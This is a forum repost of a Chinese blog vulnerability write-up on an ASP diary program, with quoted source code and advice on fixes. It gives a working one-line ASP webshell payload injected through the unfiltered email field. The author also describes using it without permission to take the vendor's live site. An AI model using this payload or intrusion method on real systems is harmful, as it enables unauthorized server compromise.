日记本BUG瞬间拿下梦想中国热线[转]

作者:我就是个世界 发表于:2008-09-19
刚刚看到这篇文章,写得不错,关键是代码很详细,对于ASP网站的代码安全
很有用.记录之~

[quote][b]日记本BUG瞬间拿下梦想中国热线[/b]
发表于:2007年8月4日 4时3分24秒 来源:http://user.qzone.qq.com/254456512/blog/26

日记本BUG瞬间拿下梦想中国热线

一个朋友由于建站的需要,让我帮忙挑选一款合适的日记本程序。我在网上搜索了很多日记本,最后把目标锁定在梦想天堂多用户日记本。这个日记本程序不是很大,而且做得很漂亮,基本能满足朋友的要求。
  由于这样的程序脚本安全一般都不是很好,我就去官方下载了一个最新版的,然后在Google搜索看看有没有关于这个日记本的漏洞,结果没有发现什么。没有办法,只好自己读一遍这个日记本程序了,结果发现问题还真不小。我在官方验证了一下,直接拿到了梦想中国热线的WebShell。下面就来说说这个程序的问题所在。
  我们先来看一下inc下的数据库连接文件conn.asp,其代码如下:
 [/quote][separator][quote]
  
[code]<%
  Dim conn
  Dim sqlstr
  Dim db
  '更改数据库名字
  db="data/aqbt.cn.asp"
  set conn = Server.CreateObject("ADODB.Connection")
  sqlstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
  conn.Open sqlstr
  %>
  
  <%
  dim listnum,reguservalue
  listnum=16 '定义每页显示日记数量
  reguservalue=1 '这里 1允许新用户注册,0不允许新用户注册
  cnt_new=20 '首页显示的新日记数
  usernum=13 '首页显示的推荐会员数
  
  '过滤非法字符
  function HTMLEncode(fString)
  fString = replace(fString, ">", ">")
  fString = replace(fString, "<", "<")
  fString = Replace(fString, CHR(32), " ")
  fString = Replace(fString, CHR(34), """)
  fString = Replace(fString, CHR(39), "'")
  fString = Replace(fString, CHR(13), "")
  fString = Replace(fString, CHR(10) & CHR(10), "</P><P'> ")
  fString = Replace(fString, CHR(10), "<BR> ")
  
  HTMLEncode = fString
  end function
  %>[/code]  
  从上面的代码可以看到程序的数据库连接部分没有做容错处理,这意味着存在着暴库的可能性。直接访问inc/conn.asp来看看,果然成功了。到官方网站试验一下。
  
  
  
我晕,默认数据库和我下载的默认数据库竟然完全一样!作者可能认为这个程序比较简单,不会存在什么问题才这样的自信吧?把下载的日记本的数据库打开继续研究,发现数据库也没有做相应的防下载处理。如此岂不是可以下载下来,看看MM写的日记了?呵呵。不过偷看别人的隐私可是不好的,不建议大家这样做啦!
  我们继续看userreg.asp文件,其代码如下:
  
  
[code]<!--#include file="top.asp"-->
  <%
  if Trim(Request.QueryString("ation"))="reg" then
  username=replace(Trim(Request.Form("username")),"'","")
  password=replace(Trim(Request.Form("password")),"'","")
  sex=Trim(Request.Form("sex"))
  email=Trim(Request.Form("email"))
  regip=Trim(Request.Form("regip"))
  set rs=server.CreateObject("adodb.recordset")
  sql="select * from userlist where username='"&username&"'"
  rs.open sql,conn,1,1
  if not (rs.bof and rs.eof) then
  Response.Write("<script language=JavaScript>alert('该用户名称已经被注册,请尝试其他名称。')</script>")
  else
  set rs=server.CreateObject("adodb.recordset")
  sql="select * from userlist"
  rs.open sql,conn,1,3
  rs.addnew
  rs("username")=username
  rs("password")=password
  rs("email")=email
  rs("regip")=regip
  rs("sex")=sex
  rs.update
  response.cookies("user")=username
  response.cookies("userid")=rs("userid")
  rs.close
  response.Redirect("userreg.asp?action=ok&username="&username)
  end if
  end if
  %>[/code]  

  从以上程序,我们发现只要输入用户名、密码及邮箱的地址就能直接注册用户。程序过滤掉了表单中提交的用户名和密码的单引号,简单的判断一下用户名和密码是否重复就直接存放到数据库中了。如果我们在用户名和密码的部分填上一句话木马,而且数据库是ASP后缀的,不就可以得到一个WebShell了吗?但实际上是不可以的,因为作者对注册的用户名和密码的表单做了限制,最大长度都为12,不够一句话木马的长度。真正的问题出现在email地址上,从程序中我们可以发现程序对email没有做任何的限制和过滤就直接写入数据库中了,且最大长度是100,插入一句话木马足够了。这里我有点搞不懂,回到上面看conn.asp代码,既然作者都写了HTMLEncode过滤函数了,为什么在这里就没有过滤呢?难道真的是疏忽吗?
  我们继续以官方网站测试。随便注册一个用户,在邮箱的地址里写入海洋一句话木马<%eval request(chr(35))%>,提交后,提示注册成功。然后用lake2的一句话客户端直接连接http://aqbt.cn/diary/data/aqbt.cn.asp。
  

到这里,我们已经成功地拿到了梦想中国热线的WebShell,其余的事情我就不做了。至于别的地方是不是有问题,我想也用不着继续看了,只要数据库是ASP后缀的且conn.asp没有做容错处理的站,直接秒杀!
  至于漏洞的修补,对于暴库的问题,在conn.asp的开头加上一句On error resume next就可以了,但默认的数据库还是要修改的。对于用ASP作为数据库后缀名的话,最好要做相应的防下载处理,这样即使数据库不改,问题也不会很大,因为即使你能插入木马,也会由于ASP的特性,闭合不了还是没有法利用的;否则如果过滤不好的话,数据库不一定有MDB的安全。而有问题的邮件地址,直接用conn.asp中的函数HTMLEncode(fString)过滤一下就可以了;当然,最好还是写个邮箱的检测函数判断是否合法。脚本安全还是不能太大意了,虽然是一个小程序,我们也要用心尽量写出安全的代码,安全毕竟是一个全局呀。
[/quote]

分享:

扫一扫在手机阅读、分享本文

请发表您的评论